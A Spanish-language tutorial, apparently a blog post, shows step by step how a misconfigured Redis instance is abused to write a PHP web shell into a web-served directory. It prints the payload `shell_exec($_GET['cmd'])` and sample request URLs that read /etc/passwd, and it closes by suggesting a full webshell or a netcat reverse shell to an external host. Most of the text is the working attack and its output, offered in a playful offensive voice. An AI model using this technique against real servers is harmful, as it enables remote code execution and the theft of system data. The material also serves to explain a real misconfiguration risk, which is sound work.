Redis es una base datos clave-valor que se almacena en ram pero permite el volcado de los datos a disco, en esta ocasión vamos a explicar de forma práctica los problemas en los que nos podemos ver envueltos si configuramos de forma incorrecta dicho servicio.
Este tipo de ataque seguramente serÃa llevado a cabo por un desarrollador con acceso a la cli de redis o por un atacante externo que haya conseguido encontrar algún punto de la aplicación web donde no se parsean de forma correcta los datos de entrada y son almacenados en redis, un tercer escenario podrÃa ser un redis sin filtrar mediante iptables(barra libre).
La estrategia a serguir será definir una ruta alternativa donde guardar la base de datos, asignar un valor poco común a una variable y forzar el volcado a disco generando de este modo un fichero con el contenido deseado en la ruta deseada, cabe destacar que este ataque solo es posible si el usuario con el que corre redis tiene permisos para escribir bajo un directorio servido por un servidor web y dependiendo del usuario utilizado en el vhost de apache se podrán ejecutar unos comandos u otros.
Accedemos a la cli de redis:
Generamos la variable con el contenido de un fichero php que ejecutará cualquier comando pasado por GET:
OK
Especificamos donde guardar la base de datos, recordad que debe ser una ruta accesible desde el exterior mediante http:
OK
Volcamos a disco generando asà dicho fichero:
Background saving started
NOTA: Si el ataque es por una inyección, el atacante solo será capaz de asignar el valor de la variable pero no de volcar a disco dicho contenido, deberá esperar el tiempo que haya configurado el sysadmin para que redis vuelque automáticamente a disco, hasta ese momento no se generará el fichero en disco y por lo tanto no será accesible.
Podemos comprobar que el fichero existe y tiene en su interior el regalito(un poco modificado):
REDIS0006þb/<?php echo shell_exec($_GET["cmd"]." 2>&1"); ?>ÿJØrßÀ%RX3 redis_files #
Procedemos con la ejecución del php y sorpresa!!:
http://localhost/redis_files/a.php?cmd=cat%20/etc/shadow
REDIS0006?b/cat: /etc/shadow: Permission denied ??J?r???%
Esto es debido a que apache fué configurado con soporte para suexec y ese vhost está siendo ejecutado por un usuario que no tiene permisos para acceder a /etc/shadow, en cambio si tiene acceso para /etc/passwd:
http://localhost/redis_files/a.php?cmd=cat%20/etc/passwd
REDIS0006þb/root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
adm:x:3:4:adm:/var/adm:/bin/false
lp:x:4:7:lp:/var/spool/lpd:/bin/false
sync:x:5:0:sync:/sbin:/bin/sync
qemu:x:77:77:added by portage for libvirt:/dev/null:/sbin/nologin
avahi:x:108:991:added by portage for avahi:/dev/null:/sbin/nologin
bitlbee:x:109:990:added by portage for bitlbee:/var/lib/bitlbee:/sbin/nologin
geoclue:x:110:988:added by portage for geoclue:/var/lib/geoclue:/sbin/nologin
ÿJØrßÀ%
Bingo!!! con algo de basura pero es una salida totalmente utilizable, quizás algo un poco mas interesante serÃa meter el código de una webshell entera en la variable de redis o incluso bajarnos netcat con un primer comando y con un segundo realizar una conexión reversa hasta algún equipo externo… eso ya lo dejo a gusto de cada uno ;)